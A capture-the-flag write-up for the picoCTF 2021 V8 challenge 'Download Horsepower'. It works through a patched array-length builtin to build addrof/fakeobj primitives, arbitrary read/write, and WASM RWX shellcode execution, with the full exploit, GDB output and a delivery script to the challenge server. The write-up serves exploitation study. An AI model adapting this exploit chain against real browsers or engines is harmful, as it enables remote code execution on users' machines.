arrow-left

All pages
gitbookPowered by GitBook
1 of 1

Loading...

picoCTF 2021 - Download Horsepower

Another OOB, but with pointer compression

hashtag
Analysis

server.py is the same as in Kit Engine - send it a JS file, it gets run.

Let's check the patch again:

The only really relevant code is here:

We can essentially set the length of an array by using .setHorsepower(). By setting it to a larger value, we can get an OOB read and write, from which point it would be very similar to the .

hashtag
Understanding the Memory Layout

Let's first try and check the OOB works as we expected. We're gonna create an exploit.js with the classic ftoi() and itof() functions:

Then load up d8 under GDB. This version is a lot newer than the one from OOB-V8, so let's work out what is what.

hashtag
Types and their Representation

So, right of the bat there are some differences. For example, look at the first value 0x0804222d082439f1. What on earth is that? Well, if you have eagle eyes or are familiar with a new V8 feature called pointer compression, you may notice that it lines up with the properties and the map:

Notice that the last 4 bytes are being stored in that value 0x0804222d082439f1 - the first 4 bytes here at the last 4 bytes of the properties location, and the last 4 bytes are the last 4 of the map pointer.

This is a called pointer compression, where the first 4 bytes of pointers are not stored as they are constant for all pointers - instead, a single reference is saved, and only the lower 4 bytes are stored. The higher 4 bytes, known as the isolate root, are stored in the R13 register. More information can be found in , but it's made a huge difference to performance. As well as pointers, smis have also changed representation - instead of being 32-bit values left-shifted by 32 bits to differentiate them from pointers, they are now simply doubled (left-shifted by one bit) and therefore also stored in 32-bit space.

  • A double is stored as its 64-bit binary representation

  • An smi is a 32-bit number, but it's stored as itself left-shifted by 1 so the bottom bit is null

    • e.g. 0x12345678

We can see the example of an smi in the second value from the x/10gx command above: 0x0000000408085161. The upper 4 bytes are 4, which is double 2, so this is the length of the list. The lower 4 bytes correspond to the pointer to the elements array, which stores the values themselves. Let's double-check that:

The first value 0x0000000408042a99 is the length smi (a value of 2, doubled as it's an smi) followed by what I assume is a pointer to the map. That's not important - what's important is the next two values are the floating-point representations of 1.5 and 2.5 (I recognise them from oob-v8!), while the value directly after is 0x0804222d082439f1, the properties and map pointer. This means our OOB can work as planned! We just have to ensure we preserve the top 32 bits of this value so we don't ruin the properties pointer.

circle-info

Note that we don't know the upper 4 bytes, but that's not important!

Let's test that the OOB works as we expected by calling setHorsepower() on an array, and reading past the end.

Fantastic!

hashtag
Complications while Grabbing Maps

This is a bit more complicated than in oob-v8, because of one simple fact: last time, we gained an addrof primitive using this:

In our current scenario, you could argue that we can reuse this (with minor modifications) and get this:

However, this does not work. Why? It's the difference between these two lines:

In oob-v8, we noted that the function .oob() not only reads an index past the end, but it also returns it as a double. And that's the key difference - in this challenge, we can read past the end of the array, but this time it's treated as an object. obj_arr[1] will, therefore, return an object - and a pretty invalid one, at that!

You might be thinking that we don't need the object map to get an addrof primitive at all, we just can't set the map back, but we can create a one-use array. I spent an age working out why it didn't work, instead returning a NaN, but of course it was this line:

Setting the map to that of a float array would never work, as it would treat the first index like an object again!

hashtag
A new addrof()

So, this time we can't copy the object map so easily. But not all is lost! Instead of having a single OOB read/write, we can set the array to have a huge length. This way, we can use an OOB on the float array to read the map of the object array - if we set it correctly, that is.

hashtag
Aligning Memory

Let's create two arrays, one of floats and one of objects. We'll also grab the float map (which will also contain the properties pointer!) while we're at it.

My initial thought was to create an array like this:

And then I could slowly increment the index of float_arr, reading along in memory until we came across two 3.5 values in a row. I would then know that the location directly after was our desired object, making a reliable leak. Unfortunately, while debugging, it seems like mixed arrays are not quite that simple (unsurprisingly, perhaps). Instead, I'm gonna hope and pray that the offset is constant (and if it's not, we'll come back and play with the mixed array further).

Let's determine the offset. I'm gonna %DebugPrint float_arr, obj_arr and initial_obj:

Let's check the obj_arr first:

In line with what we get from %DebugPrint(), we get the lower 4 bytes of 0808594d. If we print from elements onwards for the float_arr:

We can see the value 0x08243a410808594d at 0x30e008085980. If the value 1.5 at 0x22f908085370 is index 0, we can count and get an index of 12. Let's try that:

And from the output, it looks very promising!

The lower 4 bytes match up perfectly. We're gonna return just the last 4 bytes:

And bam, we have an addrof() primitive. Time to get a fakeobj().

hashtag
A new fakeobj()

If we follow the same principle for fakeobj() :

However, remember that pointer compression is a thing! We have to make sure the upper 4 bytes are consistent. This isn't too bad, as we can read it once and remember it for all future sets:

And then fakeobj() becomes

We can test this with the following code:

If I run this, it does in fact print 1:

circle-info

I was as impressed as anybody that this actually worked, I can't lie.

hashtag
Arbitrary Read

Once again, we're gonna try and gain an arbitrary read by creating a fake array object that we can control the elements pointer for. The offsets are gonna be slightly different due to pointer compression. As we saw earlier, the first 8 bytes are the compressed pointer for properties and map, while the second 8 bytes are the smi for length and then the compressed pointer for elements. Let's create an initial arb_rw_array like before, and print out the layout:

The leak works perfectly. Once again, elements is ahead of the JSArray itself.

If we want to try and fake an array with compression pointers then we have the following format:

  • 32-bit pointer to properties

  • 32-bit pointer to map

  • smi for length

The first ones we have already solved with float_map. We can fix the latter like this:

We can test the arbitrary read, and I'm going to do this by grabbing the float_map location and reading the data there:

A little bit of inspection at the location of float_map shows us we're 8 bytes off:

This is because the first 8 bytes in the elements array are for the length smi and then for a compressed map pointer, so we just subtract if 8 and get a valid arb_read():

hashtag
Arbitrary Write

hashtag
Initial

We can continue with the initial_arb_write() from oob-v8, with a couple of minor changes:

We can test this super easily too, with the same principle:

Observing the map location in GDB tells us the write worked:

hashtag
Full

Last time we improved our technique by usingArrayBuffer backing pointers. This is a bit harder this time because for this approach you need to know the full 64-bit pointers, not just the compressed version. This is genuinely very difficult because the isolate root is stored in the r13 register, not anywhere in memory. As a result, we're going to be using initial_arb_write() as if it's arb_write(), and hoping it works.

If anybody knows of a way to leak the isolate root, please let me know!

hashtag
Shellcoding

The final step is to shellcode our way through, using the same technique as last time. The offsets are slightly different, but I'm sure that by this point you can find them yourself!

First I'll use any WASM code to create the RWX page, like I did for :

Again, this generates an RWX page:

Using the same technique of printing out the wasm_instance address and comparing it to the output of search-pattern from before:

I get an offset of 0x67. In reality it is 0x68 (pointer tagging!), but who cares.

Now we can use the ArrayBuffer technique, because we know all the bits of the address! We can just yoink it directly from the oob-v8 writeup (slightly changing 0x20 to 0x14, as that is the new offset with compression):

I am going to grab the shellcode for cat flag.txt from , because I suck ass at working out endianness and it's a lot of effort for a fail :)))

Running this:

Ok, epic! Let's deliver it remote using the same script as :

And we get the flag!

chevron-rightFull Exploithashtag
diff --git a/BUILD.gn b/BUILD.gn
index 9482b977e3..6a3f1e2d0f 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1175,6 +1175,7 @@ action("postmortem-metadata") {
 }
 
 torque_files = [
+  "src/builtins/array-horsepower.tq",
   "src/builtins/aggregate-error.tq",
   "src/builtins/array-at.tq",
   "src/builtins/array-copywithin.tq",
diff --git a/src/builtins/array-horsepower.tq b/src/builtins/array-horsepower.tq
new file mode 100644
index 0000000000..7ea53ca306
--- /dev/null
+++ b/src/builtins/array-horsepower.tq
@@ -0,0 +1,17 @@
+// Gotta go fast!!
+
+namespace array {
+
+transitioning javascript builtin
+ArraySetHorsepower(
+  js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
+    try {
+      const h: Smi = Cast<Smi>(horsepower) otherwise End;
+      const a: JSArray = Cast<JSArray>(receiver) otherwise End;
+      a.SetLength(h);
+    } label End {
+        Print("Improper attempt to set horsepower");
+    }
+    return receiver;
+}
+}
\ No newline at end of file
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..abfb553864 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -999,6 +999,10 @@ void Shell::ModuleResolutionSuccessCallback(
   resolver->Resolve(realm, module_namespace).ToChecked();
 }
 
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  __asm__("int3");
+}
+
 void Shell::ModuleResolutionFailureCallback(
     const FunctionCallbackInfo<Value>& info) {
   std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2205,14 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
+  // Remove some unintented solutions
+  global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
-
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
-  global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
   if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
 
 #ifdef V8_FUZZILLI
   global_template->Set(
@@ -2243,11 +2221,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
 #endif  // V8_FUZZILLI
 
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
-
   return global_template;
 }
 
@@ -2449,10 +2422,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
-  isolate->SetHostImportModuleDynamicallyCallback(
+  /*isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+      Shell::HostInitializeImportMetaObject);*/
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..7cf66d285a 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,8 @@ class Shell : public i::AllStatic {
     kNoProcessMessageQueue = false
   };
 
+  static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<Value> name, PrintResult print_result,
                             ReportExceptions report_exceptions,
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index ce3886e87e..6621a79618 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1754,6 +1754,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
     JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
                           array_function, DONT_ENUM);
 
+    SimpleInstallFunction(isolate_, proto, "setHorsepower",
+                          Builtins::kArraySetHorsepower, 1, false);
     SimpleInstallFunction(isolate_, proto, "concat", Builtins::kArrayConcat, 1,
                           false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq
index b18f5bafac..b466b330cd 100644
--- a/src/objects/js-array.tq
+++ b/src/objects/js-array.tq
@@ -28,6 +28,9 @@ extern class JSArray extends JSObject {
   macro IsEmpty(): bool {
     return this.length == 0;
   }
+  macro SetLength(l: Smi) {
+    this.length = l;
+  }
   length: Number;
 }
is stored as
0x2468acf0
  • A pointer to an address addr is stored as addr | 1, that is the least significant bit is set to 1.

    • e.g. 0x12345678 is stored as 0x12345679

    • This helps differentiate it from an smi, but not from a double!

  • 32-bit pointer to elements

    oob-v8 writeup
    new feature added to V8 in 2020arrow-up-right
    this blog postarrow-up-right
    oob-v8
    this writeuparrow-up-right
    Kit Engine
    ArraySetHorsepower(js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
        try {
            const h: Smi = Cast<Smi>(horsepower) otherwise End;
            const a: JSArray = Cast<JSArray>(receiver) otherwise End;
            a.SetLength(h);
        } label End {
            Print("Improper attempt to set horsepower");
        }
        return receiver;
    }
    
    macro SetLength(l: Smi) {
        this.length = l;
    }
    
    SimpleInstallFunction(isolate_, proto, "setHorsepower",
        Builtins::kArraySetHorsepower, 1, false);
    var buf = new ArrayBuffer(8);
    var f64_buf = new Float64Array(buf);
    var u64_buf = new Uint32Array(buf);
    
    function ftoi(val) { // typeof(val) = float
        f64_buf[0] = val;
        return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
    }
    
    function itof(val) { // typeof(val) = BigInt
        u64_buf[0] = Number(val & 0xffffffffn);
        u64_buf[1] = Number(val >> 32n);
        return f64_buf[0];
    }
    $gdb d8
    gef➤  run --allow-natives-syntax --shell exploit.js
    d8> a = [1.5, 2.5]
    [1.5, 2.5]
    d8> %DebugPrint(a)
    DebugPrint: 0xa5e08085179: [JSArray]
     - map: 0x0a5e082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
     - prototype: 0x0a5e0820ab61 <JSArray[0]>
     - elements: 0x0a5e08085161 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
     - length: 2
     - properties: 0x0a5e0804222d <FixedArray[0]>
     - All own properties (excluding elements): {
        0xa5e080446d1: [String] in ReadOnlySpace: #length: 0x0a5e0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
     }
     - elements: 0x0a5e08085161 <FixedDoubleArray[2]> {
               0: 1.5
               1: 2.5
     }
    0xa5e082439f1: [Map]
     - type: JS_ARRAY_TYPE
     - instance size: 16
     - inobject properties: 0
     - elements kind: PACKED_DOUBLE_ELEMENTS
     - unused property fields: 0
     - enum length: invalid
     - back pointer: 0x0a5e082439c9 <Map(HOLEY_SMI_ELEMENTS)>
     - prototype_validity cell: 0x0a5e08182405 <Cell value= 1>
     - instance descriptors #1: 0x0a5e0820b031 <DescriptorArray[1]>
     - transitions #1: 0x0a5e0820b07d <TransitionArray[4]>Transition array #1:
         0x0a5e08044fd5 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0a5e08243a19 <Map(HOLEY_DOUBLE_ELEMENTS)>
    
     - prototype: 0x0a5e0820ab61 <JSArray[0]>
     - constructor: 0x0a5e0820a8f1 <JSFunction Array (sfi = 0xa5e0818ac31)>
     - dependent code: 0x0a5e080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
     - construction counter: 0
    
    [1.5, 2.5]
    gef➤  x/10gx 0xa5e08085179-1       <--- -1 needed due to pointer tagging!
    0xa5e08085178:	0x0804222d082439f1	0x0000000408085161
    0xa5e08085188:	0x58f55236080425a9	0x7566280a00000adc
    0xa5e08085198:	0x29286e6f6974636e	0x20657375220a7b20
    0xa5e080851a8:	0x3b22746369727473	0x6d2041202f2f0a0a
    0xa5e080851b8:	0x76696e752065726f	0x7473206c61737265
     - map: 0x0a5e082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
     - properties: 0x0a5e0804222d <FixedArray[0]>
    gef➤  x/4gx 0x0a5e08085161-1
    0xa5e08085160:	0x0000000408042a99	0x3ff8000000000000
    0xa5e08085170:	0x4004000000000000	0x0804222d082439f1
    d8> a.setHorsepower(5)
    [1.5, 2.5, , , ]
    d8> a[2]
    4.763796150676345e-270
    d8> ftoi(a[2]).toString(16)
    "804222d082439f1"
    var float_arr = [1.5, 2.5];
    var map_float = float_arr.oob();
    
    var initial_obj = {a:1};	// placeholder object
    var obj_arr = [initial_obj];
    var map_obj = obj_arr.oob();
    
    function addrof(obj) {
        obj_arr[0] = obj;			// put desired obj for address leak into index 0
        obj_arr.oob(map_float);		// change to float map
        let leak = obj_arr[0];		// read address
        obj_arr.oob(map_obj);		// change back to object map, to prevent issues down the line
        return ftoi(leak);			// return leak as an integer
    }
    var float_arr = [1.5, 2.5];
    float_arr.setHorsepower(3);
    var map_float = float_arr[2];
    
    var initial_obj = {a:1};	// placeholder object
    var obj_arr = [initial_obj];
    obj_arr.setHorsepower(2);
    var map_obj = obj_arr[1];
    
    function addrof(obj) {
        obj_arr[0] = obj;			// put desired obj for address leak into index 0
        obj_arr[1] = map_float;		// change to float map
        let leak = obj_arr[0];		// read address
        obj_arr[1] = map_obj;		// change back to object map, to prevent issues down the line
        return ftoi(leak);			// return leak as an integer
    }
    var map_obj = obj_arr.oob();
    var map_obj = obj_arr[1];
    obj_arr[1] = map_float;
    var float_arr = [1.5, 2.5];
    float_arr.setHorsepower(50);
    var float_map = float_arr[2];             // both map and properties
    
    
    var initial_obj = {a:1};	          // placeholder object
    var obj_arr = [initial_obj];
    obj_arr.setHorsepower(50);
    var obj_arr = [3.5, 3.5, initial_obj];
    DebugPrint: 0x30e008085931: [JSArray]
     - map: 0x30e0082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
     - prototype: 0x30e00820ab61 <JSArray[0]>
     - elements: 0x30e008085919 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
     - length: 50
     - properties: 0x30e00804222d <FixedArray[0]>
     - All own properties (excluding elements): {
        0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
     }
     - elements: 0x30e008085919 <FixedDoubleArray[2]> {
               0: 1.5
               1: 2.5
     }
    DebugPrint: 0x30e008085985: [JSArray]
     - map: 0x30e008243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
     - prototype: 0x30e00820ab61 <JSArray[0]>
     - elements: 0x30e008085979 <FixedArray[1]> [PACKED_ELEMENTS]
     - length: 50
     - properties: 0x30e00804222d <FixedArray[0]>
     - All own properties (excluding elements): {
        0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
     }
     - elements: 0x30e008085979 <FixedArray[1]> {
               0: 0x30e00808594d <Object map = 0x30e0082459f9>
     }
    
    DebugPrint: 0x30e00808594d: [JS_OBJECT_TYPE]
     - map: 0x30e0082459f9 <Map(HOLEY_ELEMENTS)> [FastProperties]
     - prototype: 0x30e008202f11 <Object map = 0x30e0082421b9>
     - elements: 0x30e00804222d <FixedArray[0]> [HOLEY_ELEMENTS]
     - properties: 0x30e00804222d <FixedArray[0]>
     - All own properties (excluding elements): {
        0x30e0080477ed: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
     }
    gef➤  x/6gx 0x30e008085979-1
    0x30e008085978:	0x0000000208042205	0x08243a410808594d
    0x30e008085988:	0x080859790804222d	0x080425a900000064
    0x30e008085998:	0x0000000400000003	0x0000000029386428
    gef➤  x/20gx 0x30e008085919-1 
    0x30e008085918:	0x0000000408042a99	0x3ff8000000000000
    0x30e008085928:	0x4004000000000000	0x0804222d082439f1
    0x30e008085938:	0x0000006408085919	0x082439f1080423d1
    0x30e008085948:	0x082459f90804222d	0x0804222d0804222d
    0x30e008085958:	0x08045a0100000002	0x0000000000010001
    0x30e008085968:	0x080477ed080421f9	0x0000000200000088
    0x30e008085978:	0x0000000208042205	0x08243a410808594d
    0x30e008085988:	0x080859790804222d	0x080425a900000064
    0x30e008085998:	0x0000000400000003	0x0000000029386428
    0x30e0080859a8:	0x0000000000000000	0x0000000000000000
    function addrof(obj) {
        obj_arr[0] = obj;
        let leak = float_arr[12];
        return ftoi(leak);
    }
    
    %DebugPrint(initial_obj);
    console.log("Leak: 0x" + addrof(initial_obj).toString(16))
    Leak: 0x8243a410808593d
    DebugPrint: 0x28a60808593d: [JS_OBJECT_TYPE]
     - map: 0x28a6082459f9 <Map(HOLEY_ELEMENTS)> [FastProperties]
     - prototype: 0x28a608202f11 <Object map = 0x28a6082421b9>
     - elements: 0x28a60804222d <FixedArray[0]> [HOLEY_ELEMENTS]
     - properties: 0x28a60804222d <FixedArray[0]>
     - All own properties (excluding elements): {
        0x28a6080477ed: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
     }
    return ftoi(leak) & 0xffffffffn;
    function fakeobj(compressed_addr) {
        float_arr[12] = itof(compressed_addr);
        return obj_arr[0];
    }
    // store upper 4 bytes of leak
    let upper = ftoi(float_arr[12]) & (0xffffffffn << 32n);
    function fakeobj(compressed_addr) {
        float_arr[12] = itof(upper + compressed_addr);
        return obj_arr[0];
    }
    // first leak the address
    let addr_initial = addrof(initial_obj);
    // now try and create an object from it
    let fake = fakeobj(addr_initial);
    // fake should now be pointing to initial_obj
    // meaning fake.a should be 1
    console.log(fake.a);
    gef➤  run --allow-natives-syntax --shell exploit.js
    1
    V8 version 9.1.0 (candidate)
    d8> 
    var arb_rw_arr = [float_map, 1.5, 2.5, 3.5];
    console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
    
    %DebugPrint(arb_rw_arr)
    [+] Address of Arbitrary RW Array: 0x8085a01
    DebugPrint: 0x161c08085a01: [JSArray]
     - map: 0x161c082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
     - prototype: 0x161c0820ab61 <JSArray[0]>
     - elements: 0x161c080859d9 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
     - length: 4
     - properties: 0x161c0804222d <FixedArray[0]>
     - All own properties (excluding elements): {
        0x161c080446d1: [String] in ReadOnlySpace: #length: 0x161c0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
     }
     - elements: 0x161c080859d9 <FixedDoubleArray[4]> {
               0: 4.7638e-270
               1: 1.5
               2: 2.5
               3: 3.5
     }
    function arb_read(compressed_addr) {
        // tag pointer
        if (compressed_addr % 2n == 0)
            compressed_addr += 1n;
    
        // place a fake object over the elements of the valid array
        // we know the elements array is placed just ahead in memory, so with a length
        // of 4 it's an offset of 4 * 0x8 = 0x20 
        let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    
        // overwrite `elements` field of fake array
        // size of 2 and elements pointer
        arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr);
    
        // index 0 will returns the arbitrary read value
        return ftoi(fake[0]);
    }
    // test arb_read
    let float_map_lower = ftoi(float_map) & 0xffffffffn
    console.log("Map at: 0x" + float_map_lower.toString(16))
    console.log("Read: 0x" + arb_read(float_map_lower).toString(16));
    Map at: 0x82439f1
    Read: 0xa0007ff2100043d
    gef➤  x/10gx 0x3f09082439f1-1
    0x3f09082439f0:	0x1604040408042119	0x0a0007ff2100043d
    0x3f0908243a00:	0x082439c90820ab61	0x080421b90820b031
    0x3f0908243a10:	0x0820b07d08182405	0x1604040408042119
    function arb_read(compressed_addr) {
        // tag pointer
        if (compressed_addr % 2n == 0)
            compressed_addr += 1n;
    
        // place a fake object over the elements of the valid array
        // we know the elements array is placed just ahead in memory, so with a length
        // of 4 it's an offset of 4 * 0x8 = 0x20
        let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    
        // overwrite `elements` field of fake array
        // size of 2 and elements pointer
        // initially with the map and a size smi, so 0x8 offset
        arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
    
        // index 0 will returns the arbitrary read value
        return ftoi(fake[0]);
    }
    function initial_arb_write(compressed_addr, val) {
        // place a fake object and change elements, as before
        let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
        arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
    
        // Write to index 0
        fake[0] = itof(BigInt(val));
    }
    let float_map_lower = ftoi(float_map) & 0xffffffffn;
    console.log("Map at: 0x" + float_map_lower.toString(16));
    initial_arb_write(float_map_lower, 0x12345678n);
    gef➤  x/4gx 0xf84082439f1-1
    0xf84082439f0:	0x0000000012345678	0x0a0007ff2100043d
    0xf8408243a00:	0x082439c90820ab61	0x080421b90820b031
    var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasm_mod = new WebAssembly.Module(wasm_code);
    var wasm_instance = new WebAssembly.Instance(wasm_mod);
    var f = wasm_instance.exports.main;
    gef➤  vmmap
    [...]
    0x000007106675a000 0x000007106675b000 0x0000000000000000 rwx 
    [...]
    gef➤  search-pattern 0x000007106675a000
    [+] Searching '\x00\xa0\x75\x66\x10\x07\x00\x00' in memory
    [+] In (0x3c108200000-0x3c108280000), permission=rw-
      0x3c108211ad4 - 0x3c108211af4  →   "\x00\xa0\x75\x66\x10\x07\x00\x00[...]"
      [...]
    function copy_shellcode(addr, shellcode) {
        // create a buffer of 0x100 bytes
        let buf = new ArrayBuffer(0x100);
        let dataview = new DataView(buf);
        
        // overwrite the backing store so the 0x100 bytes can be written to where we want
        let buf_addr = addrof(buf);
        let backing_store_addr = buf_addr + 0x14n;
        arb_write(backing_store_addr, addr);
    
        // write the shellcode 4 bytes at a time
        for (let i = 0; i < shellcode.length; i++) {
    	dataview.setUint32(4*i, shellcode[i], true);
        }
    }
    payload = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b]
    copy_shellcode(rwx_base, payload);
    f();
    $ ./d8 exploit.js 
    [+] Address of Arbitrary RW Array: 0x8086551
    [+] RWX Region located at 0xf06b12a5000
    cat: flag.txt: No such file or directory
    from pwn import *
    
    with open("exploit.js", "rb") as f:
        exploit = f.read()
    
    p = remote('mercury.picoctf.net', 60233)
    p.sendlineafter(b'5k:', str(len(exploit)).encode())
    p.sendlineafter(b'please!!\n', exploit)
    
    p.recvuntil(b"Stdout b'")
    flag = p.recvuntil(b"\\")[:-1]
    print(flag.decode())
    $ python3 deliver.py 
    [+] Opening connection to mercury.picoctf.net on port 60233: Done
    picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}
    [*] Closed connection to mercury.picoctf.net port 60233
    // setup
    var buf = new ArrayBuffer(8);
    var f64_buf = new Float64Array(buf);
    var u64_buf = new Uint32Array(buf);
    
    function ftoi(val) { // typeof(val) = float
        f64_buf[0] = val;
        return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
    }
    
    function itof(val) { // typeof(val) = BigInt
        u64_buf[0] = Number(val & 0xffffffffn);
        u64_buf[1] = Number(val >> 32n);
        return f64_buf[0];
    }
    
    // addrof and fakeobj
    var float_arr = [1.5, 2.5];
    float_arr.setHorsepower(50);
    var float_map = float_arr[2];       // both map and properties
    
    
    var initial_obj = {a:1};	// placeholder object
    var obj_arr = [initial_obj];
    obj_arr.setHorsepower(50);
    
    
    // store upper 4 bytes of leak
    let upper = ftoi(float_arr[12]) & (0xffffffffn << 32n);
    
    function addrof(obj) {
        obj_arr[0] = obj;
        let leak = float_arr[12];
        return ftoi(leak) & 0xffffffffn;
    }
    
    function fakeobj(compressed_addr) {
        float_arr[12] = itof(upper + compressed_addr);
        return obj_arr[0];
    }
    
    /* test addrof and fakeobj
    // first leak the address
    let addr_initial = addrof(initial_obj);
    // now try and create an object from it
    let fake = fakeobj(addr_initial);
    // fake should now be pointing to initial_obj
    // meaning fake.a should be 1
    console.log(fake.a);
    */
    
    // array for access to arbitrary memory addresses
    var arb_rw_arr = [float_map, 1.5, 2.5, 3.5];
    console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
    // %DebugPrint(arb_rw_arr);
    
    function arb_read(compressed_addr) {
        // tag pointer
        if (compressed_addr % 2n == 0)
            compressed_addr += 1n;
    
        // place a fake object over the elements of the valid array
        // we know the elements array is placed just ahead in memory, so with a length
        // of 4 it's an offset of 4 * 0x8 = 0x20
        let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    
        // overwrite `elements` field of fake array
        // size of 2 and elements pointer
        // initially with the map and a size smi, so 0x8 offset
        arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
    
        // index 0 will returns the arbitrary read value
        return ftoi(fake[0]);
    }
    
    /* test arb_read
    let float_map_lower = ftoi(float_map) & 0xffffffffn;
    console.log("Map at: 0x" + float_map_lower.toString(16));
    console.log("Read: 0x" + arb_read(float_map_lower).toString(16));
    */
    
    // would normally be initial, but we hope and pray
    function arb_write(compressed_addr, val) {
        // place a fake object and change elements, as before
        let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
        arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
    
        // Write to index 0
        fake[0] = itof(BigInt(val));
    }
    
    /* test initial_arb_write
    let float_map_lower = ftoi(float_map) & 0xffffffffn;
    console.log("Map at: 0x" + float_map_lower.toString(16));
    initial_arb_write(float_map_lower, 0x12345678n);
    */
    
